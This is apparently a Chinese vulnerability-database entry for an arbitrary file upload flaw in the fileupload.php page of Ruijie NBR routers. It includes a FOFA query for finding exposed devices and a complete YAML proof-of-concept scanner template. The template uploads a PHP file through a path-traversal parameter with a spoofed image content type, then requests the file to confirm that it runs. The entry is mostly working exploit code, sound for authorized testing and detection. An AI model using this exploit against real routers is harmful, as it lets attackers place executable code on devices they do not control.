ruijie-nbr-fileupload: 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

日期: 2025-09-01 | 影响软件: 锐捷NBR路由器 | POC: 已公开

漏洞描述

锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件到服务器获取服务器权限 FOFA: app="Ruijie-NBR路由器"

PoC代码[已公开]

id: ruijie-nbr-fileupload

info:
  name: 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞
  author: peiqi
  severity: high
  verified: true
  description: |
    锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件到服务器获取服务器权限
    FOFA: app="Ruijie-NBR路由器"
  reference:
    - https://peiqi.wgpsec.org/wiki/iot/锐捷/锐捷%20NBR%20路由器%20fileupload.php%20任意文件上传漏洞.html
  tags: ruijie,fileupload
  created: 2023/08/10

set:
  r1: randomLowercase(6)
  r2: md5(r1)
rules:
  r0:
    request:
      method: POST
      path: /ddi/server/fileupload.php?uploadDir=../../321&name={{r1}}.php
      headers:
        Accept: text/plain, */*; q=0.01
        Content-Disposition: form-data; name="file"; filename="111.php"
        Content-Type: image/jpeg
      body: |
        <?php echo md5("{{r1}}");unlink(__FILE__);?>
    expression: |
      response.status == 200 && 
      response.body.bcontains(b'"jsonrpc"') 
  r1:
    request:
      method: GET
      path: /321/{{r1}}.php
    expression: response.status == 200 && response.body.bcontains(bytes(r2))
expression: r0() && r1()

相关漏洞推荐